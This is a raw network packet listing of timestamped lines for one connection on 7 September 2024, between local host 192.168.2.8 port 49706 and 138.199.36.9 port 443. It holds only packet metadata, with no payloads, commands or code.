Sep 7, 2024 23:15:30.940752029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940758944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940826893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940969944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940985918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941046000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941052914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941095114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941098928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941111088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941129923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941148043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941154003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941174984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941184044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941191912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941196918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941204071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.941235065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.941262007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.021871090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.021908998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.022005081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.022026062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.022064924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023381948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023410082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023452997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023463011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023483992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023499966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023665905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023689032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023719072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023725033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.023750067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.023763895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.024044037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024061918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024105072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.024111986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024173975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.024359941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024379969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024429083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024441957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.024454117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.024472952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.024509907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.026216984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026247978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026303053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.026312113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026323080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.026393890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026423931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026448011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.026453972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.026477098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.081549883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.110820055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.110841990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.110914946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.110927105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.111661911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.112704992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.112724066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.112777948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.112785101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.112811089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.112938881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.112957954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.112966061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.112972021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113032103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113032103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113044977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113059998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113104105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113111019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113157034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113246918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113261938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113293886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113337994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113343000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113384008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113405943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113435030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113440990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.113470078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.113531113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.114775896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114789009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114835978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.114842892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114909887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114928007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.114932060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114950895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.114959955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.114993095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.199450016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.199464083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.199525118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.199552059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.199724913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.201339960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.201354027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.201474905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.201474905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.201483011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.201517105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.201906919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.201920033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.201967001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.201972961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202141047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202182055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202194929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202233076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202239037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202394962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202413082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202441931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202449083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202467918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202492952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202590942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202604055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202651978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.202657938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.202722073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.203430891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203448057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203493118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.203500032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203541040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203557014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203564882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.203572035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.203583956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.203609943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.288382053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.288403034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.288518906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.288541079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.288710117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.289772987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.289794922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.289849997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.289856911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.289917946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290009022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290024996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290071964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290076971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290198088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290219069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290240049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290246964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290263891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290290117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290828943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290843964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290895939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.290900946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.290962934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.291016102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291033030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291078091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.291084051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291143894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.291836977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291852951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291904926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.291909933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.291970968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.292037964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.292052984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.292100906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.292105913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.292165995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.376898050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.376923084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.377085924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.377115011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.377346992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378281116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378298044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378350973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378357887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378410101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378489017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378504038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378550053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378556013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378734112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378797054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378813982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378864050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.378870010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.378931046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.379204035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379220009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379264116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.379275084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379328012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.379515886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379534006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379581928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.379587889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.379646063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.380279064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380296946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380343914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.380350113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380405903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.380619049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380635977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380701065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.380707026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.380759954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.467434883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467463970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467513084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467554092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467612028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.467643023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467705965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.467716932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467736959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.467783928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.467792034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468014002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468033075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468061924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.468071938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468089104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.468714952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468729973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.468781948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.468801975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.469086885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.469105959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.469153881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.469163895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.469178915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.469965935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.469980001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.470031023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.470042944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.470664978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.470684052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.470735073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.470747948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.519213915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555011034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555037975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555135012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555179119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555279970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555285931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555303097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555318117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555330992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555373907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555561066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555578947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555636883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555671930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555718899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555738926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555779934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555795908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.555823088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.555972099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.556166887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556188107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556238890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.556252956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556312084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.556436062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556452036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556516886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.556531906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.556577921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.557296991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.557313919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.557374954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.557391882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.557446957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.557892084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.557912111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.557964087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.557976007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.558027983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.643950939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.643978119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644176006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644187927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644220114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644253016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644264936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644268990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644285917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644293070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644300938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644334078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644416094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644431114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644464970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644470930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644490957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644932985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644954920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.644992113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.644999027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645030022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.645442009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645457983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645500898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.645507097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645529985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.645804882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645828962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645859957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.645867109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.645886898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.646450043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.646464109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.646503925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.646511078 CEST	443	49706	138.199.36.9	192.168.2.8
